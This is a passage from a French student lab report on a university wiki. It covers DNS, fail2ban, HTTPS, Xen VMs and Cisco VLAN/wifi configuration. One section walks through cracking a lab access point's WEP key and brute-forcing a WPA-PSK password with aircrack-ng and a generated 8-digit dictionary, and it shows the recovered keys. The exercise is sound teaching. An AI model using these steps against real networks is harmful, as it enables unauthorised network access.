        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut '''commenter''' tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour '''restart''' le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir '''vérifier''' le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour '''lancer le service''' il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef '''deadpool.tech.key''' et les certificats '''GandiCert.pem''' et '''deadpool.tech.crt''' (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se '''ssh sur le routeur''' via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Création du Vlan24''' avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le '''vlan''' que nous venons de créer ainsi que le '''VRRP''' j'ai fait ceci : ('''/!\''' l'adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d'éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie '''wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre '''point d'accès wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc '''incomplète''' et ne permet pas de validé cette dernière. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12356</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12356"/>
		<updated>2026-02-23T10:36:04Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* DNS et DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
